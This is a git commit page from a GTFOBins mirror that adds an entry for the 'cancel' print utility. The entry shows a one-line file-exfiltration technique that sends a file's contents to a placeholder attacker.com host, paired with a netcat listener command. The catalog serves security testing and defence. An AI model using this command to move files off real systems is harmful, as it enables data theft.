1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 02:42:45 +02:00

Create cancel.md (#43)

* Add cancel.md
This commit is contained in:
0rbz 2018-12-31 03:38:20 -05:00 committed by Emilio
parent 809b60ef97
commit 63147892c4

10
_gtfobins/cancel.md Normal file
View File

@ -0,0 +1,10 @@
---
functions:
file-upload:
- description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT
---